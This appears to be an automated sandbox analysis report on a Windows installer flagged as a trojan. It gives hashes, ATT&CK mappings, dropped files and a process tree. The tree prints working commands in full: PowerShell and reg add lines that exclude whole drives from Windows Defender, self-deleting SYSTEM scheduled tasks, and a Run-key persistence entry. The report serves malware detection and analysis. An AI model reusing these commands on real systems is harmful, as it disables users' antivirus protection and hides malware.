81187cc1f4a44e2ea041c7a2221eb2696587b3f237ade656804cbd80f15dc039

Analysis

max time kernel
150s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.13.exe
Size 30.5MB
Sample261023-sdh1psew5l
SHA256 81187cc1f4a44e2ea041c7a2221eb2696587b3f237ade656804cbd80f15dc039
MD5 796d22caa0f354e7b996afe3c4b5f5e3
SHA1 93d33d3792131e37d8ae6e8f584610de1c20acb3
SHA512 1472ab3dc256b13b95946c542154dc05cacc71751dc6e080ba8bd16a5cbf840c5e6752e7a88f4b2090df39054cc6344e4c99ab4afc18d9040fd846372adb908c
SSDEEP 196608:CZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYi:ZC/p+HuPOc4T
TLSH
T11F67181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\owabsX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3984	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1828	WwAgSJ.exe
5412	WwAgSJ.exe

Loads dropped DLL 2 IoCs

pid	Process
1828	WwAgSJ.exe
5412	WwAgSJ.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\owabsX\\WwAgSJ.exe\""	WwAgSJ.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1692	cmd.exe
2888	cmd.exe
5220	cmd.exe
1284	cmd.exe
4464	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	WwAgSJ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6040	cmd.exe
3980	cmd.exe
4748	cmd.exe
2644	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WwAgSJ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WwAgSJ.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3264	schtasks.exe
1760	schtasks.exe
3916	schtasks.exe
612	schtasks.exe
4520	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1000	install.2.0.13.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe
1828	WwAgSJ.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeIncreaseQuotaPrivilege	3984	powershell.exe
Token: SeSecurityPrivilege	3984	powershell.exe
Token: SeTakeOwnershipPrivilege	3984	powershell.exe
Token: SeLoadDriverPrivilege	3984	powershell.exe
Token: SeSystemProfilePrivilege	3984	powershell.exe
Token: SeSystemtimePrivilege	3984	powershell.exe
Token: SeProfSingleProcessPrivilege	3984	powershell.exe
Token: SeIncBasePriorityPrivilege	3984	powershell.exe
Token: SeCreatePagefilePrivilege	3984	powershell.exe
Token: SeBackupPrivilege	3984	powershell.exe
Token: SeRestorePrivilege	3984	powershell.exe
Token: SeShutdownPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeSystemEnvironmentPrivilege	3984	powershell.exe
Token: SeRemoteShutdownPrivilege	3984	powershell.exe
Token: SeUndockPrivilege	3984	powershell.exe
Token: SeManageVolumePrivilege	3984	powershell.exe
Token: 33	3984	powershell.exe
Token: 34	3984	powershell.exe
Token: 35	3984	powershell.exe
Token: 36	3984	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1828 wrote to memory of 3984	1828	WwAgSJ.exe	92
PID 1828 wrote to memory of 1284	1828	WwAgSJ.exe	94
PID 1284 wrote to memory of 1760	1284	cmd.exe	96
PID 1284 wrote to memory of 2228	1284	cmd.exe	99
PID 1828 wrote to memory of 4464	1828	WwAgSJ.exe	100
PID 4464 wrote to memory of 3916	4464	cmd.exe	104
PID 1284 wrote to memory of 3064	1284	cmd.exe	105
PID 1828 wrote to memory of 1692	1828	WwAgSJ.exe	106
PID 1692 wrote to memory of 612	1692	cmd.exe	108
PID 4464 wrote to memory of 5904	4464	cmd.exe	109
PID 1692 wrote to memory of 2324	1692	cmd.exe	111
PID 4464 wrote to memory of 4848	4464	cmd.exe	112
PID 1828 wrote to memory of 2888	1828	WwAgSJ.exe	113
PID 1692 wrote to memory of 540	1692	cmd.exe	115
PID 2888 wrote to memory of 4520	2888	cmd.exe	116
PID 1828 wrote to memory of 5220	1828	WwAgSJ.exe	121
PID 2888 wrote to memory of 5444	2888	cmd.exe	123
PID 2888 wrote to memory of 3200	2888	cmd.exe	125
PID 5220 wrote to memory of 3264	5220	cmd.exe	126
PID 5220 wrote to memory of 3416	5220	cmd.exe	127
PID 5220 wrote to memory of 2440	5220	cmd.exe	129
PID 3980 wrote to memory of 1384	3980	cmd.exe	119
PID 6040 wrote to memory of 1912	6040	cmd.exe	120
PID 2644 wrote to memory of 5396	2644	cmd.exe	133
PID 4748 wrote to memory of 5336	4748	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1000

C:\Users\Public\owabsX\WwAgSJ.exe
"C:\Users\Public\owabsX\WwAgSJ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\owabsX\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\owabsX\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:612
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2324
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3264
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2440

C:\Users\Public\owabsX\WwAgSJ.exe
"C:\Users\Public\owabsX\WwAgSJ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5412

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\owabsX" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6040
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\owabsX" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1912

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3576

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3980
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1384

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5336

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 a2a913fb459541af5b35eac1fa6a771228c8739446ef851c2e0a54790da51485
MD5 5483d5a54c9357388eb6df52cf031632
SHA1 2acb16fa55c94f9286cbf4cffaa0da05c15614d5
SHA512 ef3a5192553600d77f3576de1e0436cc2c9b0efd8ea2d94b713cf8ae615c6397917ee12b569e98c9b776f576acb4047c26508f305872586cab9858db737381a3
TLSH
T13331B6BB3F6E68869F3A4D9155CEE1321CF5E180ACCA005E7155C0A8AF487713F2E90C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 f7b3af19b10ab5ab509ecd8e2aa492fe8893d8c8fc0b9f51198efed6115bc12f
MD5 069c3d80bd2808098fae12b8d5b79ad2
SHA1 36e4bdef5e44fe0b3960672eedcc7a69f2420492
SHA512 98aae4dd7399cbff977e898f5b5acd38846645b5ab94d60c95b79389c9c312863eb60ba611a8dee5b10415bee379598fdc2071a12601c0f30b08e795442def5b
TLSH
T1EA31F8A28F399462AB0CCF3252D0C53F6CF0A5B98DEA4C56212FC39B6609B775F46014
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 541f6c2810b5c74f0418bdadbd163852c666b554465e8a39e82a9e5959478b06
MD5 56c92e271fdb078bed23bca2f107c648
SHA1 43ab73650caa3916fe2f700c07a9e87e82919204
SHA512 70453c3d7991e9d68dff2bf38504e8aa59c7c53446af99c31b21f1495cc7016f4c2438356f36357c48d358b903f8017078e2204c730ffbd06eeee6c73e2d0c86
TLSH
T197F05C0C187C413DF133DA3C46C97AAA1ABFE645340786A007F55B49B629D492D1157D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 a129573b1b6e01893f860e1ddafd18f586e924621801a90bd2ed924d204ddf08
MD5 eeb889587228a3bffa94074fcdc25e59
SHA1 d61a7d7791885e576e49f69cdcef5ff0a2cb5737
SHA512 f246ea3462d9b79be7dead1c76f5babdc680464fb567a563c81773eb5a685b98ec22e3211507fa87407627fdda9f675ce24fe04052bc166c26a134f8426529cc
TLSH
T1F9F05C2D45E9111FF0BBC2B80BE636B35926F6232006527D4BE403886E688006C513A9
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_deuuccyk.pqm.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_deuuccyk.pqm.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\owabsX\UxEnhance64.dll
Size 3.1MB
SHA256 5352884fd288584bcf3b01d53e7a66ce27edc57dd0193d4551a981ef05ae9cbe
MD5 22a24a133c2a034e6c1912bdb20cc513
SHA1 92d9552ad1ea9c9659ea9ef329b7034a5a7ba25f
SHA512 0e363fedf239ca804a7f4752ffcfb60bdcb9a5cb62e44e36fcf97a21e3e1f454a07bada980016b36309c01dc7654f998752e456f8f93467ff070ee7fd446a747
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+t:P9m29xx3Tiqt06ox6+z2rNNrKot
TLSH
T164E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WwAgSJ.exe

Path C:\Users\Public\owabsX\WwAgSJ.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\owabsX\adoresd.dat
Size 4.8MB
SHA256 3f3c8205caca3e8e884e558fd238608727f3185ed32bf6a9e9b654c66c2a36ed
MD5 be7482f17c2adaa5a1d59930ef9936d4
SHA1 14b5e14aae537debf777fd13d9099da8a4dec4e6
SHA512 b040c1787f3c437279e205a7c5640cbfa128604a7483dc5684ba860a607c79b227b1356bc3ee38a7d1d8580f2ddfa384622fe4b477b1e42399bc5f7047520fe3
SSDEEP 98304:fWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:fWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1A43633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\owabsX\msadox.tb
Size 8KB
SHA256 1bcf4e00de199927cbf6e804bfe9c68cfa8ccd786a0959a5ef8af225fac2e9f0
MD5 36d421a4ef760a9a9569d316dcfa4759
SHA1 d75e3eae0df1c8c4db42e55a54b2405252eb5b53
SHA512 bf64fe06e2c00b40863c4e73fb7f3fc5db5405e11b984003a9da1c432b0c0798b753bf99195e6ab3eb0dda697c65c10ec83fb558e21597fe4acb6dd088d71e06
SSDEEP 192:wqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:wsZqZOXQ3uqvR2Kfzp
TLSH
T1AA029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072ED2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1000-0-0x0000000002720000-0x000000000272E000-memory.dmp

Download

memory/1000-524-0x00007FFEEFDB0000-0x00007FFEEFDC2000-memory.dmp

Download

memory/1000-523-0x0000000002720000-0x000000000272E000-memory.dmp

Download

memory/1000-503-0x00007FFEEFDB0000-0x00007FFEEFDC2000-memory.dmp

Download

memory/1000-1-0x0000000002730000-0x000000000273C000-memory.dmp

Download

memory/1828-558-0x000002201BC10000-0x000002201BC9A000-memory.dmp

Download

memory/1828-535-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-545-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-544-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-549-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-560-0x000002201BC10000-0x000002201BC9A000-memory.dmp

Download

memory/1828-561-0x000002201BC10000-0x000002201BC9A000-memory.dmp

Download

memory/1828-559-0x000002201BC10000-0x000002201BC9A000-memory.dmp

Download

memory/1828-542-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-557-0x000002201BB30000-0x000002201BB7E000-memory.dmp

Download

memory/1828-555-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-565-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-566-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-538-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-537-0x00007FFEF86E0000-0x00007FFEF86E2000-memory.dmp

Download

memory/1828-543-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-530-0x00007FFED5BD0000-0x00007FFED60EE000-memory.dmp

Download

memory/1828-605-0x000002201AF10000-0x000002201B7E7000-memory.dmp

Download

memory/1828-529-0x00007FFEF86D0000-0x00007FFEF86D2000-memory.dmp

Download

memory/3984-596-0x00000256586A0000-0x00000256586C2000-memory.dmp

Download

memory/3984-606-0x0000025658700000-0x000002565870A000-memory.dmp

Download

memory/3984-602-0x0000025658840000-0x00000256588F2000-memory.dmp

Download

memory/3984-601-0x0000025658820000-0x000002565883E000-memory.dmp

Download

memory/5412-590-0x00007FFEF86D0000-0x00007FFEF86D2000-memory.dmp

Download

memory/5412-589-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download

memory/5412-586-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download

memory/5412-588-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download

memory/5412-581-0x00007FFEF86E0000-0x00007FFEF86E2000-memory.dmp

Download

memory/5412-587-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download

memory/5412-580-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download

memory/5412-576-0x00007FFED5BD0000-0x00007FFED60EE000-memory.dmp

Download

memory/5412-582-0x0000013E4A6D0000-0x0000013E4AFA7000-memory.dmp

Download